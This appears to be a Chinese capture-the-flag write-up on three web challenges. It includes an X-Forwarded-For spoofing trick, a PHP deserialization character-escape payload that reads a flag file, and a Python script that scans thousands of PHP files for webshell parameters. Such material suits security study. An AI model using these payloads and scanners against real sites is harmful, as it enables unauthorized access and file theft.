[MRCTF2020]PYWebsite
有个二维码
扫了一下啊二维码
function enc(code){hash = hex_md5(code);return hash;}function validate(){var code = document.getElementById("vcode").value;if (code != ""){if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){alert("您通过了验证!");window.location = "./flag.php"}else{alert("你的授权码不正确!");}}else{alert("请输入授权码");}}
访问一下flag.php
既然自己可以看到flag, 尝试一下 伪造请求头 X-Forwarded-For: 127.0.0.1
直接就给了flag
[安洵杯 2019]easy_serialize_php
<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}
审计一下代码:
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}
会将匹配到的数组里面的内容替换为空 ,
extract()
函数从数组中将变量导入到当前的符号表, 存在变量覆盖的作用
$function
赋值不用的值进行不同的操作,
$function == 'show_image'
存在一个反序列化的操作, file_get_contents
可以读取文件内容
$function == 'phpinfo'
里面可以找到一个 flag的文件名字
d0g3_f1ag.php
$serialize_info = filter(serialize($_SESSION));
经过 filter()过滤, 会存在一个反序列化的逃逸
echo file_get_contents(base64_decode($userinfo['img']))
利用字符逃逸, 构造相应的img
的值为 d0g3_f1ag.php
的base64编码ZDBnM19mMWFnLnBocA==
写个代码构造一下
<?php
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}$_SESSION['user']='flagflagflagflagflagphp';
$_SESSION['function']='";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';// s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="
$serialize_info = filter(serialize($_SESSION));echo $serialize_info;var_dump(unserialize($serialize_info));
$userinfo=unserialize($serialize_info);
var_dump(base64_decode($userinfo['img']));
可以指向相应的路径, 读取文件
感觉构造的也没毛病啊, 怎么显示这个啊, 直接用网上的payload
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
也是这个页面, 不知道为啥
不过看后面, 应该会显示, 只需要把后面img 的值改一下相应的base64编码就是, 数字好像都没变
后面抓包上传就可以了 ,但是还是有点不理解为什么一定要加上 s:1:"1";s:1:"2"
,不加就不行,
感觉加上这个好像也没啥意义啊
[强网杯 2019]高明的黑客
下载源码, 里面有几千个php文件, 有很多shell, 但很多都没用, 需要写脚本辨别
https://blog.csdn.net/a3320315/article/details/102945940
学习一下别人的脚本:
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):s1.acquire() print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))data = {} #所有的$_POSTparams = {} #所有的$_GETfor m in gets:params[m] = "echo 'xxxxxx';"for n in posts:data[n] = "echo 'xxxxxx';"url = 'http://127.0.0.1/src/'+filereq = session.post(url, data=data, params=params) #一次性请求所有的GET和POSTreq.close() # 关闭请求 释放内存req.encoding = 'utf-8'content = req.text#print(content)if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数flag = 0for a in gets:req = session.get(url+'?%s='%a+"echo 'xxxxxx';")content = req.textreq.close() # 关闭请求 释放内存if "xxxxxx" in content:flag = 1breakif flag != 1:for b in posts:req = session.post(url, data={b:"echo 'xxxxxx';"})content = req.textreq.close() # 关闭请求 释放内存if "xxxxxx" in content:breakif flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,param = aelse:param = bprint('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)print('结束时间: ' + time.asctime(time.localtime(time.time())))s1.release()for i in files: #加入多线程t = threading.Thread(target=get_content, args=(i,))t.start()
直接将文件放到部署 phpstudy 上, 不到两分钟就测出来了结果
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/d958f8fc4daa4b289b4bbe76093f2cb3.png